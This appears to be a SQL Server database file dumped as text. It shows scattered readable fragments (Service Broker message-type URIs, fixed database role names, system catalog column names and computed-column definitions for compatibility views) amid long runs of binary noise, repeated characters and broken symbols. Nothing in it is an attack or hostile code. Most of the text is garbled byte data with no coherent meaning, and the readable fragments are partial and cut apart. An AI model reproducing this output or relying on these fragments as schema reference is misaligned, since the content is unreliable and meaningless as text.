http://schemas.microsoft.com/SQL/ServiceBroker/ServiceEcho/Echo&http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Query&http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Status&
http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Description&DEFAULT&http://schemas.microsoft.com/SQL/Notifications/PostQueryNotification&http://schemas.microsoft.com/SQL/Notifications/PostEventNotification&http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice&http://schemas.microsoft.com/SQL/ServiceBroker/ServiceEcho&http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic&DEFAULT&http://schemas.microsoft.com/SQL/Notifications/QueryNotificationService&http://schemas.microsoft.com/SQL/Notifications/EventNotificationService&http://schemas.microsoft.com/SQL/ServiceBroker/ServiceBrokerTTTT--
aaaaa,4444--bbbbb/..7777
@p.-`X\...-
-.p.0t/-/X/.`LLLLLX/.
.@/X/ج1\0.0@0/`^^^^^XGĹj1bp0/
33333/@ffff0@0<mD1/t1
H(1p0`X;Ĺj1bX10
0@@1(1:::::l,20oooo
_2X1`X&Ĺj1b@21
t124t/D1\01;;;;;;4< {kkkk32DHͨ/g
gggg
>22223 3Pcx393@04systypes 3					@0jj4systypes\\\\?< @?a`MMMMMXx X

	$	h
0`p`6TrW%	 { 0;4;4===GAutoCreatedLocalLOCAL8`h&	0n`
Z'	'}^&8`9=`&(c36?O	pv]9%.9dF9/F-9%.F9Jk99F	9a9aF	9s9F	g^9B	X^9(.
9 |G",9!@!$9"֩R 09#
"9$)
* 9%RA_X9&'&D9'ZR9(t	9)U9*jYA09+c9,x_9-'$9.}ȟ8$ 9/q 90*
,911 9293JP94ӟ
95u"96'
'
97)98*hs99s% 9:`#
9;4@M9<9=k)9>%
9?zu	9@89A{9B%9C<s9D49EZ6W$9F !9GF !9H2
;9I2F
/9JW#L(9KW#FLw(9LiX9MiFL9N\A9O\F5(x;|@@@@| |-----xxxx|h|Dx;wwwww|<|x|4""""@0(||NNNNNgetdatep||(X|
=====sysuFͧhhhh|(|Dx;l|D|4||p|getdateP||(X|
bbbbbFͧ7777||Dx;]]]]]D|$|4k1|P|(x;qqqqq88
|$$$$(||QQQQH||Dx;jjjjj|||4????|(|(x;300 @||Dx;|4|x||MMMMMsysusers|8||@|HXW%%%%%|L|\		 ppppp|x|px;WYYYYYl|	` ~(|0||`}_00000|0@|h|50|length@0 ||60|X|00X||7eeeex|p|$x;[|0@
8|0|X@|T|h|x|x;
`````sysusers5555|8|XX00^H(|h|(x;|88
D|P||@||(|Dx;D||4GGGG0@|P|(x;88
|EEEE(||_____



||Dx;l||4|A|(|	"db_securityadmin| ||
(x;4<|P||db_securityadmin| |Dx;||(|4|P|
(x;30@ h||Dx;||@04(|||ZZZZhh|h|(x;KKKKK`h||||h||Dx;;;;;;||4nnnn||"""""getdatewwww|h|(X|
erFͧLLLLH||Dx;||004|x||tttttgetdate!!!!|H|(X|
Fͧ(|x|Dx;ttttt||4!!!!fsp||(x;88
||(|**** ||p|Dx;OOOOOd|D|&4H0H||(x;3""""" wwww||Dx;bbbbb|0@47777|H|}}}}}sysusers((((|P||HXW88888ww

@ mmmm w| px;Ww 	`l.

t
6
|>F

N

		V		^ f(n0v8~@H
PX`!)
x)WL6uid6"userstat6xtype6bitpos6cid6
 colguid6 hbcolid6(maxinrowlen6 nullbit6
offset6ordkey6&rcmodified6 rscolid6rsid6	status6ti6	$cmprlevel6fgidfs6
"fillfact6 idmajor6 idminor6 lockres6
maxint6 maxleaf6&maxnullbit6minint6 minleaf6 numpart6$ownertype6rcrows6"rowsetid6rsguid6"scope_id6status6 cloneid6"dbfragid6id6partid6"rowsetid6segid6	status6subid6 version6auid6fgid6 ownerid6
pcdata6&pcreserved6	pcused6 pgfirst6&pgfirstiam6pgroot6status6type6fileid6"filename6name6status6	id6	"imageval6	subid6	"valclass6	valnum6	value62local_service_id6name6"priority6(priority_id68remote_service_name68service_contract_id6 brickid6dbid6fragid6name6pruid6status6"dbfragid6"fgfragid6fgid6phfgid6status6"dbfragid6"fileguid6fileid6pname6 brickid6dbid6fragid6pruid6status6$backuplsn6 brickid6$createlsn6dbid6*diffbaseguid6(diffbaselsn6.diffbaseseclsn6*diffbasetime6 droplsn6"fileguid6fileid6$filestate6"filetype6.firstupdatelsn6"forkguid6 forklsn6 forkvc6growth6grpid6.internalstatus6,lastupdatelsn6lname6
 maxsize6
pname6pruid60readonlybaselsn6(readonlylsn6*readwritelsn6 version6 updtrig6$object_id6name6$column_id6.system_type_id6*user_type_id6&max_length6$precision6scale6	.collation_name6
(is_nullable6.is_ansi_padded6,is_rowguidcol6
(is_identity6(is_computed6,is_filestream6,is_replicated6<is_non_sql_subscribed66is_merge_published64is_dts_replicated60is_xml_document64xml_collection_id64default_object_id6.rule_object_id6$is_sparse6,is_column_set6$object_id6name6*parameter_id6.system_type_id6*user_type_id6&max_length6$precision6scale6	$is_output6
,is_cursor_ref64has_default_value60is_xml_document6
,default_value64xml_collection_id6(is_readonly6name6$object_id6*principal_id6$schema_id62parent_object_id6type6$type_desc6(create_date6	(modify_date6
,is_ms_shipped6*is_published68is_schema_published6name6$object_id6*principal_id6$schema_id62parent_object_id6type6$type_desc6(create_date6	(modify_date6
,is_ms_shipped6*is_published68is_schema_published6
,is_replicated6>has_replication_filter68has_opaque_metadata6Hhas_unchecked_assembly_data64with_check_option6Bis_date_correlation_view64is_tracked_by_cdc0d8




p
B
 
rDpR6




`
B
$


				r	T	:		`FzdF,
pP2z^@$nL.lF&hD.tT,nJ0T|,rH$
.DVN*PzT~>Njd6xDZxz`R
*,	G.-i,jkplqm.nqoqpxqxrsI||}ft@u@@@@@@@@@	@	
@
@@
@
@@@@@@@@@@@@@@@@@@@q@@@@q@@@@@ @ @!@!@	"@"@
#@#@$@$@%@%@
&@&@'@'@(@(@)@)@*@*@+@+@,@,-@-.@./@/0@01@12@23@14@/5@56@67@78@89@9:@:q@9;@;q@6<@<q@6=@=q@/>@>?@?@@@A@AB@BC@CD@DE@EF@EP@EQ@ER@BS@/T@/c@/j@/@/@/	@/
@.@.@.@.@.@.@.@.	@,@,@@@@@@@Z@X[@[@X\@\@X]@]@X^@^@X_@_@X`@`q@X	a@ab@/c@cd@de@ef@fg@gh@hi@iX@/j@jk@kl@lm@mn@no@op@pq@qr@rs@st@tu@uv@vw@wx@xy@yz@zt@x{@{@x|@|@v}@}~@~@@t@~@@v@@@@@q@@t@@t@v@@@@t@@@v@@@@v@@@@@@@t@@t@@@@q@@q@@q@@q@@@v@@@@q@@@v@/@/@/	@/
@.@.@.@lM.



t
U

]|>eF'dE&6
{\=


m
/
		u	7	}?G	OW0v8~N

		V		^ f(n_
@5!gH)
sTowX9`P1u<+2_ ?~OQv%uco>he+}}#|Gphz
stVJv1ja6W=PwEdfP; f,w-'8c
[0NɫM 	&a
AfFI!P5#p]$7&N'I.YNye8~sN,+=	d+/eeLXZxc	RZ/n`nE|Qw!<9mL?VLRxc~>e0+8hBip"jlOkt|ur#ޚQ.yy8!q%i1[2$=7I:;ACxcG`4JerNQl|k	6OIE2@q^_ p7K$It6	Cݜ6ȑ\V$Nh@9\1\,W
ZrS%eGviۿnweOTg'
;}2OzcYi8(h)o+,1;<h[G?cHaMieH\g]4FO`jqeiqvw<'8GsW޻v|	$ey:jGsq5	U	@.O	X		Fm84	g6	v7	2S	OY	N{	/|	}			^E	_		~{		Rφ	#hn	O_	:	`HW	]	q	_	+		s		E	
ܻ
)
 *
20
35
'G@
$Y
}Da
pb
f*
q
Z
5
h$
S>>8fu0P!SYW*X#Zhg klmN[cb}FnDi˼'҉(&7:K;6=gBWQ)q2p4@67V{KyڱLpL=sAt=u 6{#U0y-vi&xzF6?jvNv>ˢ"
7
f☩,W
6_qZrS%'=!A!C%HDSEzFeG
hviۿnWo)b_`weOTg'
V~oE<G;}J<2O9~KiS	zcYi8(h)*o+,U-Z.s/&9l`:1;<5=h[G?cHv	I)XLaMtY镧[ieH\g]8Z_4FO`9fcjqeiNk!l)oYpqvw<'8GsW޻TT,

(hTp	|	<$X8
L
	 ,PDX
D
$L0X
d4l	
8Pd<|
lPh4t4`xLdxp0D\	|d8P

 	\
`T(t|x(p	lh		@,HD
x@,\<@<l
X0
`t

4	
< 
dxP	th$
0	p
(H$(h|8,@ 
H	H\@TL`
t
`C
<,2g0<<$\	NN?.<!
R<!
R<PAB?@@@8$??B?<0<@$	?%I=@`A?@8$??PA?20<@ "	?%I=%I=%I=

$A`A$A?@h6c3P0??3db_accessadmin0??9db_backupoperator0??1db_datareader0??1db_datawriter0??-db_ddladmin0??9db_denydatareader0??9db_denydatawriter0??'db_owner0??7db_securityadmin0??dbo0???;INFORMATION_SCHEMA0??%PRIMARY0??sys

((?db_accessadmindatareaderwriterenydatareaderownerguestPRIMARYsys@@%++05<0<A"0<C"0<C "0<C"0<D"0<E$	?@?@??0<E$	???@??@/((0<E "	??B?B@?0??7AutoCreatedLocal((AutoCreatedLocal@0<G"0<H"0<I"0<> "0<? "0<@$f/?===AAA?@U]p
>k;X0??3db_accessadmin0??9db_backupoperator0??1db_datareader0??1db_datawriter0??-db_ddladmin0??9db_denydatareader0??9db_denydatawriter0??'db_owner0??7db_securityadmin0??dbo0???;INFORMATION_SCHEMA0??IMicrosoft.SqlServer.Types0@?%PRIMARY0??sys

((fdb_accessadmindatareaderdladminenydatareaderownersecurityadminguestMicrosoft.SqlServer.TypesPRIMARYsys
@	
,
1>C\c0<E$+m/??B?B@?0??7AutoCreatedLocal((AutoCreatedLocal@0<@ "0<@$l?ى=@A@@Wn@????????@???@??@?@?@???	@tR0f			a	?		`
Z<-8^GHIX[\8 )!*("'dT"i2BKZ=@@`@63D.KV6A0
6A8
6A8	
6A8


6A
6A8
6C8
6C
6C8
6C
6C8
6D$
6Dh
6D
6D
6D
6D
6D
6D
6D			
6D

8

6D8!
6D=%
6D

=-

6D85
6D$9
6D4I
6D4K
6D0M
6D8N
6D@
6E8
6E
6E
6E
6E
6E
6E=
6G$
6G8
6G8
6G8
6H$
6H$
6H0$
6H%
6H-
6I$
6I0
6I$
6I%
6I8-
6I81
6I5
6I=7
6I		8?	
6I

8C

6I$G
6IW
6I

_

6Ig
6Io
6I8w
6I={
6I=
6I8
6I
6I$
6I8
6I8
6I$
6I
6I
6J0
6J8
6J8	
6J8

6J8
6J8
6Km0
6Km8
6Km8	
6Km8


6Km8
6Km8
6N0
6N8
6N8	
6N$

6N8
6Za8
6Za8
6Za8	
6Za@
6[a8
6[a8
6[a8
6[a0
6[a8
6[a
6[a8
6[a
6[		a	
6[

8

6[ 
6[@
6\p8
6\s8
6\p
6\p4
6\r@
6]8
6]8
6]8
6]8
6]8
6]8
6]@
6^0
6^8
6^ 
6^	
6^@
6^8

6_8
6_4
6_ 
6_8
6_
6_=
6_
6_
6_		@	
6`8
6DR
`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`P
<}/z3;%E0<,$	??@??@??0<. "0<."0<."0<1 "0<2$	?&=@A@2I`w/F]t??"???$??0???8?@?<???>??b??c??h???l??z????????????????????0<3"0<3"0<0 "0</ "0<- "0<,$P/????pA?@@?@%_g0??sys((sys@0<2$"[/""?<<ҲAB@eA@'B?"0<2$u"\/""?<<<ҲABeA@@;ZyDk&Q~
/f0??#bigint0??#binary0??bit0??char0??date0???)datetime20??3datetimeoffset0??%decimal0??!float0??)geography0??'geometry0?@?int0?@?'nvarchar0??real0??1smalldatetime0??'smallint0??+smallmoney0??-sql_variant0??%sysname0??text0??time0??)timestamp0??%tinyint0??7uniqueidentifier0??)varbinary0??%varchar0??xml((Nbigintdatetimeoffsetgeographyimagencharvarcharsmallintysnametimestampvarbinary@

	"#'./6	<	E"0<.$?@?@'??e0<, "0<,$?@?@'??0<, "0<,$?@?@'??t0??#binary0??bit0??char0??date0???)datetime20??3datetimeoffset0??%decimal0??!float0??)geography0??'geometry0?@?int0?@?'nvarchar0??real0??1smalldatetime0??'smallint0??+smallmoney0??-sql_variant0??%sysname0??text0??time0??)timestamp0??%tinyint0??7uniqueidentifier0??)varbinary0??%varchar0??xml((Nbigintdatetimeoffsetgeographyimagencharvarcharsmallintysnametimestampvarbinary@

	"#'./6	<	E"0<.$?@?@'??e0<, "
0	b@T%9`'90
H0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/Error0'E 88	http://schemas.microsoft.com/SQL/ServiceBroker/EndDialog0'X 88	http://schemas.microsoft.com/SQL/Notifications/QueryNotification0'X 88	http://schemas.microsoft.com/SQL/Notifications/EventNotification0'E 88	http://schemas.microsoft.com/SQL/ServiceBroker/DialogTimer0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/MissingRoute0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/FailedRoute0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/MissingRemoteServiceBinding0'	X 88	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/FailedRemoteServiceBinding0'
N 88	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceEcho/Echo0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Query0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Status0'
N 88	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Description0'N ==	=DEFAULT0'==	http://schemas.microsoft.com/SQL/Notifications/PostQueryNotification0'==	http://schemas.microsoft.com/SQL/Notifications/PostEventNotification0'==	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice0'==	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceEcho0'==	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic0'==	=DEFAULT0'BB	http://schemas.microsoft.com/SQL/Notifications/QueryNotificationService0'BB	http://schemas.microsoft.com/SQL/Notifications/EventNotificationService0'BB	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceBroker/HތlP;H ߌiP;XߌfP; ߌcP;ŀߌyP;aaaaa4444PD0QvL>d
,DyoQXQuL>X
ό0QQtL>C
xxxxx͌----XQیsL>C
<ό׌QmL>M	QQQQQQQlL>L	)))))<R||||0@Q RkL>K	cccccdR6666 RQHRjL>	? Rp@iL>	ό仌HDAcP;,TD\P;DXP;IIIIUDDVP;D(ETP;'''''rrrrl(E`ERP;PPPPP`E@FPP;PS(E`P; BpC.`}_:::::l[ooooCCCCХxF8P;T@@VX@#??@T\L쵌0@T0@T\0@UPGѠ#@U??@\L$U0@U0@\Vg `}ό<όΌ\Ό͌]_gй P;11111ddddA0A_ `}ό<όΌ\Ό͌όh B0 L>uuuuul0<B    @LB ʭ<
04̑M N ʭ<
088
@@@@O
 ʭ<
088
DXXa j,T0@,X0T j,T،8(((((0J}}}}ˌ8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ҥq q q kkkkk		



  !!""##$$%%&&''(())**++,,--..//001122334452223333336666777:::::;;;;;;<<<<@@@@AAAACCCCDDDEEEEEGHIIJJJJJJJJKKKKKKKKKKNNNNNRRUUUZZZZ[[[[[[[\\]]]]]^^^___``````aaaaaabbbbbbbbbbbbXvXvXvXvXvXvXvXvXvXvXv	xxxxxxxxxxx	<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z	u\{u\{u\{u\{u\{u\{u\{u\{u\{||||7777VVVVVVVWx}x}x}x}x}>>>???P	
8800//--999***++TYYYYOO				ddd///%.%.%."@aaa$22W#W#W#i\"",,66JJ6))))q q q kkkkk		



  !!""##$p\H4 lXD0|hT@,xdP<(t`q-8+)51|0-E88
9id0-E=name0-EAremsvc0-EEbrkrinst0-E=addr0-ECmiraddr0-E==Elifetime0-G$$9id0-G88
Iservice_id0-G88
Astatus0-G88
Erefcount0-H$$Ahandle0-H$$Adiagid0-H00Ginitiator0-HCsendseq0-HEsendxact0-I$$Adiagid0-I00Ginitiator0-I$$Ahandle0-IArcvseq0-I88
Crcvfrag0-I88
Astatus0-I?state0-I==Elifetime0-I	88
Econtract0-I
88
?svcid0-I$$Gconvgroup0-IAsysseq0-I
Genddlgseq0-IKfirstoorder0-IIlastoorder0-I88
Mlastoorderfr0-I==Edlgtimer0-I==Gdlgopened0-I88
Cprincid0-IGoutseskey0-I$$Koutseskeyid0-I88
Ifarprincid0-IEinseskey0-I$$Iinseskeyid0-IAfarsvc0-IKfarbrkrinst0-I00Epriority] = 'S' or [xtype] = 'U')) then (objectproperty([id],'TableInsertTrigger')) else 0 end))0(convert(int,case when (([xtype] = 'S' or [xtype] = 'U')) then (objectproperty([id],'TableUpdateTrigger')) else 0 end))05(convert(int,0))0}(convert(int,(case when ([status] & 0x80000000 <> 0) then 2 else 0 end + case when ([replinfo] & 1 <> 0) then 32 else 0 end + case when ([replinfo] & 2 <> 0) then 64 else 0 end + case when ([replinfo] & 4 <> 0) then 256 else 0 end + case when ([xtype] = 'P' and ([status] & 2 <> 0)) then 16 else 0 end + case when ([xtype] = 'D' and ([parent_obj] <> 0)) then 2048 else 0 end + case when (([xtype] = 'S' or [xtype] = 'U')) then (case when ([status] & 0x20 <> 0) then 1 else 0 end + case when ([status] & 0x0400 <> 0) then 4 else 0 end + case when ([status] & 0x0800 <> 0) then 8 else 0 end + case when ([status] & 0x1000 <> 0) then 128 else 0 end + case when ([status] & 0x0100 <> 0) then 512 else 0 end + case when ([status] & 0x0200 <> 0) then 1024 else 0 end + case when ([status] & 0x2000 <> 0) then 2048 else 0 end + case when ([status] & 0x4000 <> 0) then 4096 else 0 end + case when ([status] & 0x10 <> 0) then 16384 else 0 end) else 0 end)))0?(convert(smallint,0))0!(8000)00(case when ([rowcnt] > 2147483647) then 2147483647 else (convert(int,[rowcnt])) end)0(convert(tinyint,(([bitpos] & 7) + case when ([typestat] & 1 = 0) then 8 else 0 end + case when (([typestat] & 2 <> 0 or (type_name([xtype]) = 'image' or type_name([xtype]) = 'text') and [colstat] & 0x1000 <> 0)) then 16 else 0 end + case when (((type_name([xtype]) = 'image' or type_name([xtype]) = 'text') and [colstat] & 0x2000 <> 0 or (type_name([xtype]) = 'timestamp' or (type_name([xtype]) = 'char' or type_name([xtype]) = 'binary')) and [typestat] & 1 = 0)) then 32 else 0 end + case when ([colstat] & 4 <> 0) then 64 else 0 end + case when ([colstat] & 1 <> 0) then 128 else 0 end)))0(convert(tinyint,xtypetotds([xtype],(1 - ([typestat] & 1)))))0(convert(smallint,columnproperty([id],[name],'oldusertype')))0W(convert(varchar(255),[autoval]))0(convert(smallint,case when ((type_name([xtype]) = 'ntext' or (type_name([xtype]) = 'image' or type_name([xtype]) = 'text'))) then null when (type_name([xtype]) = 'uniqueidentifier') then [xprec] else (odbcprec([xtype],[length],[xprec])) end))0O(odbcscale([xtype],[xscale]))0](convert(int,sign(([colstat] & 4))))0](convert(int,sign(([colstat] & 4))))9

j
!
		L		s*WGCz5j)Z!\`p-:g)e6.;:0-,88
Cintprop0-,==Ccreated0-,==Emodified0-.88
9id0-.=name0-.ttAissuer0-.=snum0-.  Ithumbprint0-.		=pkey0-.Eencrtype0-.@=cert0-.	88
Astatus0-100?class0-188
9id0-188
?subid0-1=name0-1bbPP?value0-288
9id0-288
?schid0-2=name0-200?xtype0-244Alength0-200=prec0-200?scale0-288
Kcollationid0-2	88
Astatus0-2
==Ccreated0-2==Emodified0-288
=dflt0-2
88
;chk0-300?class0-388
Cidmajor0-388
?subid0-3=name0-300?xtype0-388
?utype0-344Alength0-300=prec0-3	00?scale0-3
88
Kcollationid0-388
Astatus0-388
Cintprop0-688
9id0-688
?indid0-6=name0-688
Astatus0-688
Cintprop0-600Efillfact0-600=type0-600Etinyprop0-6	88
Gdataspace0-6
88
?lobds0-6Arowset0-788
Cidmajor0-788
Cidminor0-788
?subid0-788
Astatus0-788
Cintprop0-700Gtinyprop10-700Gtinyprop20-.
==Qlastpkeybackup0-700Gtinyprop30-888
9id0-8=name0-800Eprotocol0-800=type0-844?bstat0-8Eaffinity0-844?pstat0-844?tstat0-8	88
Ctypeint0-8
88
?port10-888
?port20-8=site0-8
Adfltns0-8Ewsdlproc0-8Adfltdb0-8Gauthrealm0-8Adfltdm0-888
Cmaxconn0-800Aencalg0-800Eauthtype0-088
?srvid0-088
?lgnid0-0=name0-088
Astatus0-0==Amodate0-0@@Cpwdhash0-/88
?srvid0-/=name0-/88
?lgnid0-/88
Astatus0-/==Amodate0--88
9id0--44Gmsglangid0--44Eseverity0--44Astatus0--=text0-988
9id0-9Cnmspace0-9?alias0-9Cobjname0-988
Astatusd0->Inull_value0->Mon_disk_size0->Edata_ptr0-?Chobt_id0-?88
Gcolumn_id0-?88
Odictionary_id0-?88
Cversion0-?88
=type0-??flags0-?88
Clast_id0-?Kentry_count0-?	Mon_disk_size0-?
Edata_ptr0-888
9id0-84=name0-800Eprotocol0-800=type0-844?bstat$_&]OSMO7l-

f
'
^X

\

		T		Z`L
P\hc"e&a"~'hd+c`
Z77>:$	^4

[
_
c
d
g
8`5-9D)^
87Q40-J00?class0-J88
?depid0-J88
Edepsubid0-J88
Cindepid0-J88
Iindepsubid0-J88
Astatus0-K00?class0-K88
?depid0-K88
Edepsubid0-K88
Cindepid0-K88
Iindepsubid0-K88
Astatus0-N00?class0-N88
9id0-N88
?subid0-N$$=guid0-N88
Astatus0-R88
Ccprelid0-R88
Afragid0-R88
Gfragobjid0-R9ts0-R88
Astatus0-REdatasize0-RCitemcnt0-RArowcnt0-U88
Istoplistid0-UEstopword0-U88
=lcid0-U00Astatus0-V88
Uproperty_list_id0-V88
Kproperty_id0-VOproperty_name0-V$$Sguid_identifier0-V88
Qint_identifier0-VYstring_description0-WAmsgref0-W88
?count0-W@Cmsgbody0-PUU=lsid0-P?iname0-PGipipename0-P88
;pid0-P88
Astatus0-P==Acrdate0-P==Amodate0-PGsysdbpath0-T88
Kdatabase_id0-T==Oregister_date0-T88
Oregistered_by0-TCversion0-T$$Efileguid0-Y88
9id0-Y88
=tgid0-Y;low0-Y=high0-YArowcnt0-Y=size0-Y;csn0-Y88
?epoch0-Y	Astatus0-Y
ppChistory0-Y==Ccreated0-Y==Emodified0-O88
9id0-O

;lsn0-O88
?epoch0-O;csn0-O==Ccreated
?subid0-a=name0-a88
Astatus0-a88
Cintprop0-Xv00Astatus0-Xv00Epriority0-XvQjqueuing_order0-Xv$$_conversation_group_id0-Xv$$[conversation_handle0-Xvcmessage_sequence_number0-Xv$$Imessage_id0-Xv88
Smessage_type_id0-Xv	88
Iservice_id0-Xv
88
[service_contract_id0-b00Edepclass0-b88
?depid0-b00Iindepclass0-b4Gindepname0-b4Kindepschema0-b4Cindepdb0-b4Kindepserver0-b88
Anumber0-b	88
Astatus0-`	4@Gbatchtext0-`
4@Sparamorhinttext0-R88
Ccprelid0-R88
Afragid0-R88
Gfragobjid0-R9ts0-R88
Astatus0-REdatasize0-RCitemcnt0-RArowcnt0-U88
Istoplistid0-UEstopword0-U88
=lcid0-U00Astatus0-V88
Uproperty_list_id0-V88
Kproperty_id0-VOproperty_name0-V$$Sguid_identifier0-V88
Qint_identifier0-V4Ystring_description0-WAmsgref0-W88
?count0-W@Cmsgbody0-PUU=lsid0-Pac&m0
;
		b		o$Q
o
 
?9?|A

~
]"t7?n/f#`8-N)W

9?ʑ]0-Z88
;qid0-Z88
=hash0-Z88
;nid0-Z@@=name0-[88
9id0-[88
?xsdid0-[88
Auriord0-[00=qual0-[88
Anameid0-[Esymspace0-[88
Cnmscope0-[=kind0-[	?deriv0-[
88
Astatus0-[=enum0-[@@Adefval0-\88
Acompid0-\88
;ord0-\=kind0-\44Astatus0-\@@=dflt0-]88
Gplacingid0-]88
Cordinal0-]88
Eplacedid0-]88
Astatus0-]88
Eminoccur0-]88
Emaxoccur0-]@@Adefval0-^00?class0-^88
9id0-^  Ithumbprint0-^=type0-^@Acrypto0-^88
Astatus0-_88
9id0-_=name0-_  Ithumbprint0-_88
Gbitlength0-_Galgorithm0-_==Emodified0-_=pkey0-_Eencrtype0-_	@?pukey0-`88
9id0-`=name0-`00Gscopetype0-`88
Cscopeid0-`=hash0-`88
Astatus0-`==Ccreated0-`==Emodified0-`	@Gbatchtext0-`
@Sparamorhinttext0-a00?class0-a88
Cidmajor0-a88
?subid0-a=name0-a88
Astatus0-a88
Cintprop0-b00Edepclass0-b88
?depid0-b00Iindepclass0-bGindepname0-bKindepschema0-bCindepdb0-bKindepserver0-b88
Anumber0-b	88
Astatus0-Xv00Astatus0-Xv00Epriority0-XvQjqueuing_order0-Xv$$_conversation_group_id0-Xv$$[conversation_handle0-Xvcmessage_sequence_number0-Xv$$Imessage_id0-Xv88
Smessage_type_id0-Xv	88
Iservice_id0-Xv
88
[service_contract_idx;{{{{{d4hh....55(x;ddddd88
511115H555Xn5ZZZZ865$x;CCCCC5765$x;d56686(x;m88
6FFFF66@@@@Tq876$x;6fب76 $x;_____|2288




$787!(x;6QQQQQ,;H]88
77"statusX87#@x;-(088
t8@@@@87$x;
status
8X8%bb 88&(x;0000019eeee 98'@ h98($x;8|88
9 9)(x;]]]]]88880099h9*\ :9+$x;					<9Ĵ8hhh\\\\~h:9,(x;/////88
:zzzz: :-@
:h:.Xn9 ;:/$x;:;0FFFF?X;:0$x;<::iC;;1(x;88
;;X;2ް
<;3$x;EEEEEt;T<X<;4$x;tttttT7788
!!!!<<5Xn#####$vvvv<X<6$x;t<=???? =<7$x;,<<L@@@@h=<8(x;YYYYY_88
== =9$$$$$qqqq=h=:$x;<= >=;$x;\88
h>=<(x;88
>> >=PPPP


p
`
Pp
@`
0P
 @
0
 


						p	`	Pp	@`	0P	 @	0	 			P@0p`@0p `P@0 


ijF>eQQ
|
5
l/h/

n
)
		R		Z\PDJ	LF	P`6-q4)RF:/οO0-:00?class0-:88
9id0-:88
=nsid0-:=name0-:88
Astatus0-:=type0-:88
Cintprop0-:==Ccreated0-:	==Emodified0-;00?class0-;88
9id0-;88
?subid0-;88
Cgrantee0-;88
Oaudit_spec_id0-;=type0-;?state0-<00Evalclass0-<88
?objid0-<88
Esubobjid0-<88
Avalnum0-<bbPP?value0-<@Eimageval0->Chobt_id0->88
Gcolumn_id0->88
Isegment_id0->88
Cversion0->88
Oencoding_type0->88
Grow_count0->88
Astatus0->Cbase_id0->	>>5Gmagnitude0->
88
_primary_dictionary_id0->88
csecondary_dictionary_id0->Kmin_data_id0->
Kmax_data_id0->Inull_value0->Mon_disk_size0->Edata_ptr0-?Chobt_id0-?88
Gcolumn_id0-?88
Odictionary_id0-?88
Cversion0-?88
=type0-??flags0-?88
Clast_id0-?Kentry_count0-?	Mon_disk_size0-?
Edata_ptr0-@00?class0-@88
9id0-@=name0-@88
Astatus

P

s0q"

S

	r	'	eSx1j)`!RVR`-p8)f*;`r.0-88
Qinternalstatus0-

Kreadonlylsn0-

Mreadwritelsn0-

Sreadonlybaselsn0-

Qfirstupdatelsn0-

Olastupdatelsn0-

Gbackuplsn0-

Kdiffbaselsn0-$$Mdiffbaseguid0-==Mdiffbasetime0-

Qdiffbaseseclsn0-

Mredostartlsn0-

Oredotargetlsn0-$$Eforkguid0-

Cforklsn0- Aforkvc0-!$$Wredostartforkguid0-88
Edbfragid0-88
Aphfgid0-88
=fgid0-=type0-$$Afgguid0-88
Algfgid0-88
Astatus0-=name0-88
Edbfragid0-88
Afileid0-88
?grpid0-88
Astatus0-00Efiletype0-00Gfilestate0-88
=size0-88
Cmaxsize0-	88
Agrowth0-
?lname0-?pname0-

Gcreatelsn0-


Cdroplsn0-$$Efileguid0-88
Qinternalstatus0-

Kreadonlylsn0-

Mreadwritelsn0-

Sreadonlybaselsn0-

Qfirstupdatelsn0-

Olastupdatelsn0-

Gbackuplsn0-

Kdiffbaselsn0-$$Mdiffbaseguid0-==Mdiffbasetime0-

Qdiffbaseseclsn0-

Mredostartlsn0-

Oredotargetlsn0-$$Eforkguid0-

Cforklsn0-Aforkvc0-$$Wredostartforkguide]) = 'text'))) then null else (typeproperty([name],'precision')) end))w0s(convert(tinyint,typeproperty([name],'scale')))0(convert(sysname,collationpropertyfromid([collationid],'name')))0m(convert(smallint,(2 + 4 * ([status] & 1))))0?(convert(smallint,0))0O(convert(bit,([status] & 1)))0	O(convert(bit,([status] & 2)))0
(convert(nvarchar(4000),case when ([status] & 2 = 2) then (uncompress([ctext])) else [ctext] end))0?(convert(smallint,0))0?(convert(smallint,0))0	O(convert(bit,([status] & 2)))0
O(convert(bit,([status] & 4)))0O(convert(bit,([status] & 8)))G0?(convert(smallint,0))0	?(convert(smallint,0))0
(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],1,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],3,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],5,2))),0)))0
(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],7,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],9,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],11,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],13,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],15,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],17,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],19,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],21,2))),0)))F0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],23,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],25,2))),0)))4O
n

8
Qf

F

